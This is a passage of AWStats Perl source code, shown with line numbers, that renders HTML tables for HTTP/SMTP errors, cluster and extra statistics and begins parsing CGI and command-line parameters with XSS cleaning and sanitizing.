        print "$Center<a name=\"errors\">&nbsp;</a><br />\n";
 
16083
        my $title = "$Message[32]";
 
16084
        &tab_head( "$title", 19, 0, 'errors' );
 
16085
        
 
16086
        &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_errors_h, \%_errors_h );
 
16087
                
 
16088
        # Graph the top five in a pie chart
 
16089
        if (scalar @keylist > 1){
 
16090
                foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
 
16091
                {
 
16092
                        my @blocklabel = ();
 
16093
                        my @valdata = ();
 
16094
                        my @valcolor = ($color_p);
 
16095
                        my $cnt = 0;
 
16096
                        foreach my $key (@keylist) {
 
16097
                                push @valdata, int( $_errors_h{$key} / $TotalHitsErrors * 1000 ) / 10;
 
16098
                                push @blocklabel, "$key";
 
16099
                                $cnt++;
 
16100
                                if ($cnt > 4) { last; }
 
16101
                        }
 
16102
                        print "<tr><td colspan=\"5\">";
 
16103
                        my $function = "ShowGraph_$pluginname";
 
16104
                        &$function(
 
16105
                                "$title",              "httpstatus",
 
16106
                                0,                                              \@blocklabel,
 
16107
                                0,                              \@valcolor,
 
16108
                                0,                              0,
 
16109
                                0,                              \@valdata
 
16110
                        );
 
16111
                        print "</td></tr>";
 
16112
                }
 
16113
        }
 
16114
        
 
16115
        print
 
16116
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[32]*</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th></tr>\n";
 
16117
        my $total_h = 0;
 
16118
        my $count = 0;
 
16119
        foreach my $key (@keylist) {
 
16120
                my $p = int( $_errors_h{$key} / $TotalHitsErrors * 1000 ) / 10;
 
16121
                print "<tr" . Tooltip( $key, $key ) . ">";
 
16122
                if ( $TrapInfosForHTTPErrorCodes{$key} ) {
 
16123
                        print "<td><a href=\""
 
16124
                          . (
 
16125
                                $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
 
16126
                                ? XMLEncode(
 
16127
                                        "$AWScript${NewLinkParams}output=errors$key")
 
16128
                                : "$StaticLinks.errors$key.$StaticExt"
 
16129
                          )
 
16130
                          . "\"$NewLinkTarget>$key</a></td>";
 
16131
                }
 
16132
                else { print "<td valign=\"top\">$key</td>"; }
 
16133
                print "<td class=\"aws\">"
 
16134
                  . (
 
16135
                        $httpcodelib{$key} ? $httpcodelib{$key} : 'Unknown error' )
 
16136
                  . "</td><td>".Format_Number($_errors_h{$key})."</td><td>$p %</td><td>"
 
16137
                  . Format_Bytes( $_errors_k{$key} ) . "</td>";
 
16138
                print "</tr>\n";
 
16139
                $total_h += $_errors_h{$key};
 
16140
                $count++;
 
16141
        }
 
16142
        &tab_end("* $Message[154]");
 
16143
}
 
16144
 
 
16145
#------------------------------------------------------------------------------
 
16146
# Function:     Prints the Status codes chart and table
 
16147
# Parameters:   $NewLinkParams, $NewLinkTarget
 
16148
# Input:        -
 
16149
# Output:       HTML
 
16150
# Return:       -
 
16151
#------------------------------------------------------------------------------
 
16152
sub HTMLMainSMTPStatus{
 
16153
        my $NewLinkParams = shift;
 
16154
        my $NewLinkTarget = shift;
 
16155
        
 
16156
        if ($Debug) { debug( "ShowSMTPErrorsStats", 2 ); }
 
16157
        print "$Center<a name=\"errors\">&nbsp;</a><br />\n";
 
16158
        my $title = "$Message[147]";
 
16159
        &tab_head( "$title", 19, 0, 'errors' );
 
16160
        print
 
16161
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[147]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th></tr>\n";
 
16162
        my $total_h = 0;
 
16163
        my $count = 0;
 
16164
        &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_errors_h, \%_errors_h );
 
16165
 
 
16166
        foreach my $key (@keylist) {
 
16167
                my $p = int( $_errors_h{$key} / $TotalHitsErrors * 1000 ) / 10;
 
16168
                print "<tr" . Tooltip( $key, $key ) . ">";
 
16169
                print "<td valign=\"top\">$key</td>";
 
16170
                print "<td class=\"aws\">"
 
16171
                  . (
 
16172
                        $smtpcodelib{$key} ? $smtpcodelib{$key} : 'Unknown error' )
 
16173
                  . "</td><td>".Format_Number($_errors_h{$key})."</td><td>$p %</td><td>"
 
16174
                  . Format_Bytes( $_errors_k{$key} ) . "</td>";
 
16175
                print "</tr>\n";
 
16176
                $total_h += $_errors_h{$key};
 
16177
                $count++;
 
16178
        }
 
16179
        &tab_end();
 
16180
}
 
16181
 
 
16182
#------------------------------------------------------------------------------
 
16183
# Function:     Prints the cluster information chart and table
 
16184
# Parameters:   $NewLinkParams, $NewLinkTarget
 
16185
# Input:        -
 
16186
# Output:       HTML
 
16187
# Return:       -
 
16188
#------------------------------------------------------------------------------
 
16189
sub HTMLMainCluster{
 
16190
        my $NewLinkParams = shift;
 
16191
        my $NewLinkTarget = shift;
 
16192
        
 
16193
        if ($Debug) { debug( "ShowClusterStats", 2 ); }
 
16194
        print "$Center<a name=\"clusters\">&nbsp;</a><br />\n";
 
16195
        my $title = "$Message[155]";
 
16196
        &tab_head( "$title", 19, 0, 'clusters' );
 
16197
        
 
16198
        &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_cluster_p, \%_cluster_p );
 
16199
        
 
16200
        # Graph the top five in a pie chart
 
16201
        if (scalar @keylist > 1){
 
16202
                foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
 
16203
                {
 
16204
                        my @blocklabel = ();
 
16205
                        my @valdata = ();
 
16206
                        my @valcolor = ($color_p);
 
16207
                        my $cnt = 0;
 
16208
                        foreach my $key (@keylist) {
 
16209
                                push @valdata, int( $_cluster_p{$key} / $TotalHits * 1000 ) / 10;
 
16210
                                push @blocklabel, "$key";
 
16211
                                $cnt++;
 
16212
                                if ($cnt > 4) { last; }
 
16213
                        }
 
16214
                        print "<tr><td colspan=\"7\">";
 
16215
                        my $function = "ShowGraph_$pluginname";
 
16216
                        &$function(
 
16217
                                "$title",              "cluster",
 
16218
                                0,                                              \@blocklabel,
 
16219
                                0,                              \@valcolor,
 
16220
                                0,                              0,
 
16221
                                0,                              \@valdata
 
16222
                        );
 
16223
                        print "</td></tr>";
 
16224
                }
 
16225
        }
 
16226
        
 
16227
        print
 
16228
          "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[155]</th>";
 
16229
        &HTMLShowClusterInfo('__title__');
 
16230
        if ( $ShowClusterStats =~ /P/i ) {
 
16231
                print
 
16232
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
 
16233
        }
 
16234
        if ( $ShowClusterStats =~ /H/i ) {
 
16235
                print
 
16236
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
 
16237
        }
 
16238
        if ( $ShowClusterStats =~ /B/i ) {
 
16239
                print
 
16240
"<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[15]</th>";
 
16241
        }
 
16242
        print "</tr>\n";
 
16243
        my $total_p = my $total_h = my $total_k = 0;
 
16244
 
 
16245
# Cluster feature might have been enable in middle of month so we recalculate
 
16246
# total for cluster section only, to calculate ratio, instead of using global total
 
16247
        foreach my $key (@keylist) {
 
16248
                $total_p += int( $_cluster_p{$key} || 0 );
 
16249
                $total_h += int( $_cluster_h{$key} || 0 );
 
16250
                $total_k += int( $_cluster_k{$key} || 0 );
 
16251
        }
 
16252
        my $count = 0;
 
16253
        foreach my $key (@keylist) {
 
16254
                my $p_p = int( $_cluster_p{$key} / $total_p * 1000 ) / 10;
 
16255
                my $p_h = int( $_cluster_h{$key} / $total_h * 1000 ) / 10;
 
16256
                my $p_k = int( $_cluster_k{$key} / $total_k * 1000 ) / 10;
 
16257
                print "<tr>";
 
16258
                print "<td class=\"aws\">Computer $key</td>";
 
16259
                &HTMLShowClusterInfo($key);
 
16260
                if ( $ShowClusterStats =~ /P/i ) {
 
16261
                        print "<td>"
 
16262
                          . ( $_cluster_p{$key} ? Format_Number($_cluster_p{$key}) : "&nbsp;" )
 
16263
                          . "</td><td>$p_p %</td>";
 
16264
                }
 
16265
                if ( $ShowClusterStats =~ /H/i ) {
 
16266
                        print "<td>".Format_Number($_cluster_h{$key})."</td><td>$p_h %</td>";
 
16267
                }
 
16268
                if ( $ShowClusterStats =~ /B/i ) {
 
16269
                        print "<td>"
 
16270
                          . Format_Bytes( $_cluster_k{$key} )
 
16271
                          . "</td><td>$p_k %</td>";
 
16272
                }
 
16273
                print "</tr>\n";
 
16274
                $count++;
 
16275
        }
 
16276
        &tab_end();
 
16277
}
 
16278
 
 
16279
#------------------------------------------------------------------------------
 
16280
# Function:     Prints a chart or table for each extra section
 
16281
# Parameters:   $NewLinkParams, $NewLinkTarget, $extranum
 
16282
# Input:        -
 
16283
# Output:       HTML
 
16284
# Return:       -
 
16285
#------------------------------------------------------------------------------
 
16286
sub HTMLMainExtra{
 
16287
        my $NewLinkParams = shift;
 
16288
        my $NewLinkTarget = shift;
 
16289
        my $extranum = shift;
 
16290
        
 
16291
        if ($Debug) { debug( "ExtraName$extranum", 2 ); }
 
16292
        print "$Center<a name=\"extra$extranum\">&nbsp;</a><br />";
 
16293
        my $title = $ExtraName[$extranum];
 
16294
        &tab_head( "$title ($Message[77] $MaxNbOfExtra[$extranum])", 19, 0, "extra$extranum");
 
16295
        print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
 
16296
        print "<th>" . $ExtraFirstColumnTitle[$extranum];
 
16297
        print "&nbsp; - &nbsp; <a href=\""
 
16298
          . (
 
16299
                $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
 
16300
                ? XMLEncode(
 
16301
                        "$AWScript${NewLinkParams}output=allextra$extranum")
 
16302
                : "$StaticLinks.allextra$extranum.$StaticExt"
 
16303
          )
 
16304
          . "\"$NewLinkTarget>$Message[80]</a>";
 
16305
        print "</th>";
 
16306
 
 
16307
        if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
 
16308
                print
 
16309
                  "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
 
16310
        }
 
16311
        if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
 
16312
                print
 
16313
                  "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
 
16314
        }
 
16315
        if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
 
16316
                print
 
16317
                  "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
 
16318
        }
 
16319
        if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
 
16320
                print "<th width=\"120\">$Message[9]</th>";
 
16321
        }
 
16322
        print "</tr>\n";
 
16323
        my $total_p = my $total_h = my $total_k = 0;
 
16324
 
 
16325
         #$max_h=1; foreach (values %_login_h) { if ($_ > $max_h) { $max_h = $_; } }
 
16326
         #$max_k=1; foreach (values %_login_k) { if ($_ > $max_k) { $max_k = $_; } }
 
16327
        my $count = 0;
 
16328
        if ( $MaxNbOfExtra[$extranum] ) {
 
16329
                if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
 
16330
                        &BuildKeyList(
 
16331
                                $MaxNbOfExtra[$extranum],
 
16332
                                $MinHitExtra[$extranum],
 
16333
                                \%{ '_section_' . $extranum . '_h' },
 
16334
                                \%{ '_section_' . $extranum . '_p' }
 
16335
                        );
 
16336
                }
 
16337
                else {
 
16338
                        &BuildKeyList(
 
16339
                                $MaxNbOfExtra[$extranum],
 
16340
                                $MinHitExtra[$extranum],
 
16341
                                \%{ '_section_' . $extranum . '_h' },
 
16342
                                \%{ '_section_' . $extranum . '_h' }
 
16343
                        );
 
16344
                }
 
16345
        }
 
16346
        else {
 
16347
                @keylist = ();
 
16348
        }
 
16349
        my %keysinkeylist = ();
 
16350
        foreach my $key (@keylist) {
 
16351
                $keysinkeylist{$key} = 1;
 
16352
                my $firstcol = CleanXSS( DecodeEncodedString($key) );
 
16353
                $total_p += ${ '_section_' . $extranum . '_p' }{$key};
 
16354
                $total_h += ${ '_section_' . $extranum . '_h' }{$key};
 
16355
                $total_k += ${ '_section_' . $extranum . '_k' }{$key};
 
16356
                print "<tr>";
 
16357
                printf(
 
16358
                        "<td class=\"aws\">$ExtraFirstColumnFormat[$extranum]</td>",
 
16359
                        $firstcol, $firstcol, $firstcol, $firstcol, $firstcol );
 
16360
                if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
 
16361
                        print "<td>"
 
16362
                          . ${ '_section_' . $extranum . '_p' }{$key} . "</td>";
 
16363
                }
 
16364
                if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
 
16365
                        print "<td>"
 
16366
                          . ${ '_section_' . $extranum . '_h' }{$key} . "</td>";
 
16367
                }
 
16368
                if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
 
16369
                        print "<td>"
 
16370
                          . Format_Bytes(
 
16371
                                ${ '_section_' . $extranum . '_k' }{$key} )
 
16372
                          . "</td>";
 
16373
                }
 
16374
                if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
 
16375
                        print "<td>"
 
16376
                          . (
 
16377
                                ${ '_section_' . $extranum . '_l' }{$key}
 
16378
                                ? Format_Date(
 
16379
                                        ${ '_section_' . $extranum . '_l' }{$key}, 1 )
 
16380
                                : '-'
 
16381
                          )
 
16382
                          . "</td>";
 
16383
                }
 
16384
                print "</tr>\n";
 
16385
                $count++;
 
16386
        }
 
16387
 
 
16388
        # If we ask average or sum, we loop on all other records
 
16389
        if ( $ExtraAddAverageRow[$extranum] || $ExtraAddSumRow[$extranum] )
 
16390
        {
 
16391
                foreach ( keys %{ '_section_' . $extranum . '_h' } ) {
 
16392
                        if ( $keysinkeylist{$_} ) { next; }
 
16393
                        $total_p += ${ '_section_' . $extranum . '_p' }{$_};
 
16394
                        $total_h += ${ '_section_' . $extranum . '_h' }{$_};
 
16395
                        $total_k += ${ '_section_' . $extranum . '_k' }{$_};
 
16396
                        $count++;
 
16397
                }
 
16398
        }
 
16399
 
 
16400
        # Add average row
 
16401
        if ( $ExtraAddAverageRow[$extranum] ) {
 
16402
                print "<tr>";
 
16403
                print "<td class=\"aws\"><b>$Message[96]</b></td>";
 
16404
                if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
 
16405
                        print "<td>"
 
16406
                          . ( $count ? Format_Number(( $total_p / $count )) : "&nbsp;" ) . "</td>";
 
16407
                }
 
16408
                if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
 
16409
                        print "<td>"
 
16410
                          . ( $count ? Format_Number(( $total_h / $count )) : "&nbsp;" ) . "</td>";
 
16411
                }
 
16412
                if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
 
16413
                        print "<td>"
 
16414
                          . (
 
16415
                                $count ? Format_Bytes( $total_k / $count ) : "&nbsp;" )
 
16416
                          . "</td>";
 
16417
                }
 
16418
                if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
 
16419
                        print "<td>&nbsp;</td>";
 
16420
                }
 
16421
                print "</tr>\n";
 
16422
        }
 
16423
 
 
16424
        # Add sum row
 
16425
        if ( $ExtraAddSumRow[$extranum] ) {
 
16426
                print "<tr>";
 
16427
                print "<td class=\"aws\"><b>$Message[102]</b></td>";
 
16428
                if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
 
16429
                        print "<td>" . Format_Number(($total_p)) . "</td>";
 
16430
                }
 
16431
                if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
 
16432
                        print "<td>" . Format_Number(($total_h)) . "</td>";
 
16433
                }
 
16434
                if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
 
16435
                        print "<td>" . Format_Bytes($total_k) . "</td>";
 
16436
                }
 
16437
                if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
 
16438
                        print "<td>&nbsp;</td>";
 
16439
                }
 
16440
                print "</tr>\n";
 
16441
        }
 
16442
        &tab_end();
 
16443
}
 
16444
 
 
16445
#------------------------------------------------------------------------------
 
16446
# MAIN
 
16447
#------------------------------------------------------------------------------
 
16448
( $DIR  = $0 ) =~ s/([^\/\\]+)$//;
 
16449
( $PROG = $1 ) =~ s/\.([^\.]*)$//;
 
16450
$Extension = $1;
 
16451
$DIR ||= '.';
 
16452
$DIR =~ s/([^\/\\])[\\\/]+$/$1/;
 
16453
 
 
16454
$starttime = time();
 
16455
 
 
16456
# Get current time (time when AWStats was started)
 
16457
( $nowsec, $nowmin, $nowhour, $nowday, $nowmonth, $nowyear, $nowwday, $nowyday )
 
16458
  = localtime($starttime);
 
16459
$nowweekofmonth = int( $nowday / 7 );
 
16460
$nowweekofyear  =
 
16461
  int( ( $nowyday - 1 + 6 - ( $nowwday == 0 ? 6 : $nowwday - 1 ) ) / 7 ) + 1;
 
16462
if ( $nowweekofyear > 52 ) { $nowweekofyear = 1; }
 
16463
$nowdaymod = $nowday % 7;
 
16464
$nowwday++;
 
16465
$nowns = Time::Local::timegm( 0, 0, 0, $nowday, $nowmonth, $nowyear );
 
16466
 
 
16467
if ( $nowdaymod <= $nowwday ) {
 
16468
        if ( ( $nowwday != 7 ) || ( $nowdaymod != 0 ) ) {
 
16469
                $nowweekofmonth = $nowweekofmonth + 1;
 
16470
        }
 
16471
}
 
16472
if ( $nowdaymod > $nowwday ) { $nowweekofmonth = $nowweekofmonth + 2; }
 
16473
 
 
16474
# Change format of time variables
 
16475
$nowweekofmonth = "0$nowweekofmonth";
 
16476
if ( $nowweekofyear < 10 ) { $nowweekofyear = "0$nowweekofyear"; }
 
16477
if ( $nowyear < 100 ) { $nowyear += 2000; }
 
16478
else { $nowyear += 1900; }
 
16479
$nowsmallyear = $nowyear;
 
16480
$nowsmallyear =~ s/^..//;
 
16481
if ( ++$nowmonth < 10 ) { $nowmonth = "0$nowmonth"; }
 
16482
if ( $nowday < 10 )     { $nowday   = "0$nowday"; }
 
16483
if ( $nowhour < 10 )    { $nowhour  = "0$nowhour"; }
 
16484
if ( $nowmin < 10 )     { $nowmin   = "0$nowmin"; }
 
16485
if ( $nowsec < 10 )     { $nowsec   = "0$nowsec"; }
 
16486
$nowtime = int( $nowyear . $nowmonth . $nowday . $nowhour . $nowmin . $nowsec );
 
16487
 
 
16488
# Get tomorrow time (will be used to discard some record with corrupted date (future date))
 
16489
my (
 
16490
        $tomorrowsec, $tomorrowmin,   $tomorrowhour,
 
16491
        $tomorrowday, $tomorrowmonth, $tomorrowyear
 
16492
  )
 
16493
  = localtime( $starttime + 86400 );
 
16494
if ( $tomorrowyear < 100 ) { $tomorrowyear += 2000; }
 
16495
else { $tomorrowyear += 1900; }
 
16496
if ( ++$tomorrowmonth < 10 ) { $tomorrowmonth = "0$tomorrowmonth"; }
 
16497
if ( $tomorrowday < 10 )     { $tomorrowday   = "0$tomorrowday"; }
 
16498
if ( $tomorrowhour < 10 )    { $tomorrowhour  = "0$tomorrowhour"; }
 
16499
if ( $tomorrowmin < 10 )     { $tomorrowmin   = "0$tomorrowmin"; }
 
16500
if ( $tomorrowsec < 10 )     { $tomorrowsec   = "0$tomorrowsec"; }
 
16501
$tomorrowtime =
 
16502
  int(  $tomorrowyear
 
16503
          . $tomorrowmonth
 
16504
          . $tomorrowday
 
16505
          . $tomorrowhour
 
16506
          . $tomorrowmin
 
16507
          . $tomorrowsec );
 
16508
 
 
16509
# Allowed option
 
16510
my @AllowedCLIArgs = (
 
16511
        'migrate',            'config',
 
16512
        'logfile',            'output',
 
16513
        'runascli',           'update',
 
16514
        'staticlinks',        'staticlinksext',
 
16515
        'noloadplugin',       'loadplugin',
 
16516
        'hostfilter',         'urlfilter',
 
16517
        'refererpagesfilter', 'lang',
 
16518
        'month',              'year',
 
16519
        'framename',          'debug',
 
16520
        'showsteps',          'showdropped',
 
16521
        'showcorrupted',      'showunknownorigin',
 
16522
        'showdirectorigin',   'limitflush',
 
16523
        'confdir',            'updatefor',
 
16524
        'hostfilter',         'hostfilterex',
 
16525
        'urlfilter',          'urlfilterex',
 
16526
        'refererpagesfilter', 'refererpagesfilterex',
 
16527
        'pluginmode',         'filterrawlog'
 
16528
);
 
16529
 
 
16530
# Parse input parameters and sanitize them for security reasons
 
16531
$QueryString = '';
 
16532
 
 
16533
# AWStats use GATEWAY_INTERFACE to known if ran as CLI or CGI. AWSTATS_DEL_GATEWAY_INTERFACE can
 
16534
# be set to force AWStats to be ran as CLI even from a web page.
 
16535
if ( $ENV{'AWSTATS_DEL_GATEWAY_INTERFACE'} ) { $ENV{'GATEWAY_INTERFACE'} = ''; }
 
16536
if ( $ENV{'GATEWAY_INTERFACE'} ) {    # Run from a browser as CGI
 
16537
        $DebugMessages = 0;
 
16538
 
 
16539
        # Prepare QueryString
 
16540
        if ( $ENV{'CONTENT_LENGTH'} ) {
 
16541
                binmode STDIN;
 
16542
                read( STDIN, $QueryString, $ENV{'CONTENT_LENGTH'} );
 
16543
        }
 
16544
        if ( $ENV{'QUERY_STRING'} ) {
 
16545
                $QueryString = $ENV{'QUERY_STRING'};
 
16546
 
 
16547
                # Set & and &amp; to &amp;
 
16548
                $QueryString =~ s/&amp;/&/g;
 
16549
                $QueryString =~ s/&/&amp;/g;
 
16550
        }
 
16551
 
 
16552
        # Remove all XSS vulnerabilities coming from AWStats parameters
 
16553
        $QueryString = CleanXSS( &DecodeEncodedString($QueryString) );
 
16554
 
 
16555
        # Security test
 
16556
        if ( $QueryString =~ /LogFile=([^&]+)/i ) {
 
16557
                error(
 
16558
"Logfile parameter can't be overwritten when AWStats is used from a CGI"
 
16559
                );
 
16560
        }
 
16561
 
 
16562
        # No update but report by default when run from a browser
 
16563
        $UpdateStats = ( $QueryString =~ /update=1/i ? 1 : 0 );
 
16564
 
 
16565
        if ( $QueryString =~ /config=([^&]+)/i ) { $SiteConfig = &Sanitize("$1"); }
 
16566
        if ( $QueryString =~ /diricons=([^&]+)/i ) { $DirIcons = "$1"; }
 
16567
        if ( $QueryString =~ /pluginmode=([^&]+)/i ) {
 
16568
                $PluginMode = &Sanitize( "$1", 1 );
 
16569
        }
 
16570
        if ( $QueryString =~ /configdir=([^&]+)/i ) {
 
16571
                $DirConfig = &Sanitize("$1");
 
16572
                $DirConfig =~ s/\\{2,}/\\/g;    # This is to clean Remote URL
 
16573
                $DirConfig =~ s/\/{2,}/\//g;    # This is to clean Remote URL
 
16574
        }
 
16575
 
 
16576
        # All filters
 
16577
        if ( $QueryString =~ /hostfilter=([^&]+)/i ) {
 
16578
                $FilterIn{'host'} = "$1";
 
16579
        }    # Filter on host list can also be defined with hostfilter=filter
 
16580
        if ( $QueryString =~ /hostfilterex=([^&]+)/i ) {
 
16581
                $FilterEx{'host'} = "$1";
 
16582
        }    #
 
16583
        if ( $QueryString =~ /urlfilter=([^&]+)/i ) {
 
16584
                $FilterIn{'url'} = "$1";
 
16585
        }    # Filter on URL list can also be defined with urlfilter=filter
 
16586
        if ( $QueryString =~ /urlfilterex=([^&]+)/i ) { $FilterEx{'url'} = "$1"; } #
 
16587
        if ( $QueryString =~ /refererpagesfilter=([^&]+)/i ) {
 
16588
                $FilterIn{'refererpages'} = "$1";
 
16589
        } # Filter on referer list can also be defined with refererpagesfilter=filter
 
16590
        if ( $QueryString =~ /refererpagesfilterex=([^&]+)/i ) {
 
16591
                $FilterEx{'refererpages'} = "$1";
 
16592
        }    #
 
16593
             # All output
 
16594
        if ( $QueryString =~ /output=allhosts:([^&]+)/i ) {
 
16595
                $FilterIn{'host'} = "$1";
 
16596
        } # Filter on host list can be defined with output=allhosts:filter to reduce number of lines read and showed
 
16597
        if ( $QueryString =~ /output=lasthosts:([^&]+)/i ) {
 
16598
                $FilterIn{'host'} = "$1";
 
16599
        } # Filter on host list can be defined with output=lasthosts:filter to reduce number of lines read and showed
 
16600
        if ( $QueryString =~ /output=urldetail:([^&]+)/i ) {
 
16601
                $FilterIn{'url'} = "$1";
 
16602
        } # Filter on URL list can be defined with output=urldetail:filter to reduce number of lines read and showed
 
16603
        if ( $QueryString =~ /output=refererpages:([^&]+)/i ) {
 
16604
                $FilterIn{'refererpages'} = "$1";
 
16605
        } # Filter on referer list can be defined with output=refererpages:filter to reduce number of lines read and showed
 
16606
 
 
16607
        # If migrate
 
16608
        if ( $QueryString =~ /(^|-|&|&amp;)migrate=([^&]+)/i ) {
 
16609
                $MigrateStats = &Sanitize("$2");
 
16610
                $MigrateStats =~ /^(.*)$PROG(\d{0,2})(\d\d)(\d\d\d\d)(.*)\.txt$/;
 
16611
                $SiteConfig = $5 ? $5 : 'xxx';
 
16612
                $SiteConfig =~ s/^\.//;    # SiteConfig is used to find config file
 
16613
        }
 
16614
}
 
16615
else {                             # Run from command line
 
16616
        $DebugMessages = 1;
 
16617
 
 
16618
        # Prepare QueryString
 
16619
        for ( 0 .. @ARGV - 1 ) {
 
16620
 
 
16621
                # If migrate
 
16622
                if ( $ARGV[$_] =~ /(^|-|&|&amp;)migrate=([^&]+)/i ) {
 
16623
                        $MigrateStats = "$2";
 
16624
                        $MigrateStats =~ /^(.*)$PROG(\d{0,2})(\d\d)(\d\d\d\d)(.*)\.txt$/;
 
16625
                        $SiteConfig = $5 ? $5 : 'xxx';
 
16626
                        $SiteConfig =~ s/^\.//;    # SiteConfig is used to find config file
 
16627
                        next;
 
16628
                }
 
16629
 
 
16630
                # TODO Check if ARGV is in @AllowedArg
 
16631
                if ($QueryString) { $QueryString .= '&amp;'; }
 
16632
                my $NewLinkParams = $ARGV[$_];
 
16633
                $NewLinkParams =~ s/^-+//;
 
16634
                $QueryString .= "$NewLinkParams";
 
16635
        }
 
16636
 
 
16637
        # Remove all XSS vulnerabilities coming from AWStats parameters
 
16638
        $QueryString = CleanXSS($QueryString);
 
16639
 
 
16640
        # Security test
 
16641
        if (   $ENV{'AWSTATS_DEL_GATEWAY_INTERFACE'}
 
16642
                && $QueryString =~ /LogFile=([^&]+)/i )
 
16643
        {
 
16644
                error(
 
16645
"Logfile parameter can't be overwritten when AWStats is used from a CGI"
 
16646
                );
 
16647
        }
 
16648
 
 
16649
        # Update with no report by default when run from command line
 
16650
        $UpdateStats = 1;
 
16651
 
 
16652
        if ( $QueryString =~ /config=([^&]+)/i ) { $SiteConfig = &Sanitize("$1"); }
 
16653
        if ( $QueryString =~ /diricons=([^&]+)/i ) { $DirIcons = "$1"; }
 
16654
        if ( $QueryString =~ /pluginmode=([^&]+)/i ) {
 
16655
                $PluginMode = &Sanitize( "$1", 1 );
 
16656
        }
 
16657
        if ( $QueryString =~ /configdir=([^&]+)/i ) {
 
16658
                $DirConfig = &Sanitize("$1");
 
16659
                $DirConfig =~ s/\\{2,}/\\/g;    # This is to clean Remote URL
 
16660
                $DirConfig =~ s/\/{2,}/\//g;    # This is to clean Remote URL
 
16661
        }
 
16662
 
 
16663
        # All filters
 
16664
        if ( $QueryString =~ /hostfilter=([^&]+)/i ) {
 
16665
                $FilterIn{'host'} = "$1";
 
16666
        }    # Filter on host list can also be defined with hostfilter=filter
 
16667
        if ( $QueryString =~ /hostfilterex=([^&]+)/i ) {
 
16668
                $FilterEx{'host'} = "$1";
 
16669
        }    #
 
16670
        if ( $QueryString =~ /urlfilter=([^&]+)/i ) {
 
16671
                $FilterIn{'url'} = "$1";
 
16672
        }    # Filter on URL list can also be defined with urlfilter=filter
 
16673
        if ( $QueryString =~ /urlfilterex=([^&]+)/i ) { $FilterEx{'url'} = "$1"; } #
 
16674
        if ( $QueryString =~ /refererpagesfilter=([^&]+)/i ) {
 
16675
                $FilterIn{'refererpages'} = "$1";
 
16676
        } # Filter on referer list can also be defined with refererpagesfilter=filter
 
16677
        if ( $QueryString =~ /refererpagesfilterex=([^&]+)/i ) {
 
16678
                $FilterEx{'refererpages'} = "$1";
 
16679
        }    #
 
16680
             # All output
 
16681
        if ( $QueryString =~ /output=allhosts:([^&]+)/i ) {
 
16682
                $FilterIn{'host'} = "$1";
 
16683
        } # Filter on host list can be defined with output=allhosts:filter to reduce number of lines read and showed
 
16684
        if ( $QueryString =~ /output=lasthosts:([^&]+)/i ) {
 
16685
                $FilterIn{'host'} = "$1";
 
16686
        } # Filter on host list can be defined with output=lasthosts:filter to reduce number of lines read and showed
 
16687
        if ( $QueryString =~ /output=urldetail:([^&]+)/i ) {
 
16688
                $FilterIn{'url'} = "$1";
 
16689
        } # Filter on URL list can be defined with output=urldetail:filter to reduce number of lines read and showed
 
16690
        if ( $QueryString =~ /output=refererpages:([^&]+)/i ) {
 
16691
                $FilterIn{'refererpages'} = "$1";
 
16692
        } # Filter on referer list can be defined with output=refererpages:filter to reduce number of lines read and showed
 
16693
          # Config parameters
 
16694
        if ( $QueryString =~ /LogFile=([^&]+)/i ) { $LogFile = "$1"; }
 
16695
 
 
16696
        # If show options
 
16697
        if ( $QueryString =~ /showsteps/i ) {
 
16698
                $ShowSteps = 1;
 
16699
                $QueryString =~ s/showsteps[^&]*//i;
 
16700
        }
 
16701
        if ( $QueryString =~ /showcorrupted/i ) {
 
16702
                $ShowCorrupted = 1;
 
16703
                $QueryString =~ s/showcorrupted[^&]*//i;
 
16704
        }
 
16705
        if ( $QueryString =~ /showdropped/i ) {
 
16706
                $ShowDropped = 1;
 
16707
                $QueryString =~ s/showdropped[^&]*//i;
 
16708
        }
 
16709
        if ( $QueryString =~ /showunknownorigin/i ) {
 
16710
                $ShowUnknownOrigin = 1;
 
16711
                $QueryString =~ s/showunknownorigin[^&]*//i;
 
16712
        }
 
16713
        if ( $QueryString =~ /showdirectorigin/i ) {
